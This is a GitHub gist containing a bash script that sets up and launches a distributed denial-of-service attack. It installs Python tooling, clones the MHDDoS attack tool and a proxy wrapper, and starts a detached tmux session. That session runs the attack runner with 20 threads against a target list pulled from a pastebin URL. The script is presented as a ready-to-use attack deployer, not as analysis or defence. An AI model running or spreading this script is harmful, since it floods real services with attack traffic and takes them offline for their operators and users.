Last active
March 18, 2022 19:47
-
-
Save EStepiuk/97da9a8dfb663a8ac9051fb16dafd969 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Configuration | |
export DDOS_THREADS=20 | |
export DDOS_TARGETS='https://pastebin.com/raw/uAimMkXv' | |
# Run under ubuntu user (default) | |
sudo -i -u ubuntu << EOF | |
# Update apt and install pip3 | |
sudo apt-get update | |
sudo apt-get install -y python3-pip | |
# Install mhddos_proxy | |
if [ ! -d mhddos_proxy/ ] | |
then | |
git clone https://github.com/porthole-ascend-cinnamon/mhddos_proxy.git | |
fi | |
cd mhddos_proxy | |
# Install MHDDoS with requirements | |
if [ ! -d MHDDoS/ ] | |
then | |
git clone https://github.com/MHProDev/MHDDoS.git | |
python3 -m pip install -r MHDDoS/requirements.txt | |
fi | |
# Launch detached tmux session with ddos | |
# To connect use 'tmux attach -t {session_id}' | |
# If you didn't launch any other session, session_id will be 0 | |
tmux new-session -d -n 'ddos' | |
tmux send-keys -t ddos "python3 runner.py --debug -t $DDOS_THREADS -c $DDOS_TARGETS" ENTER | |
# End user actions | |
EOF |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment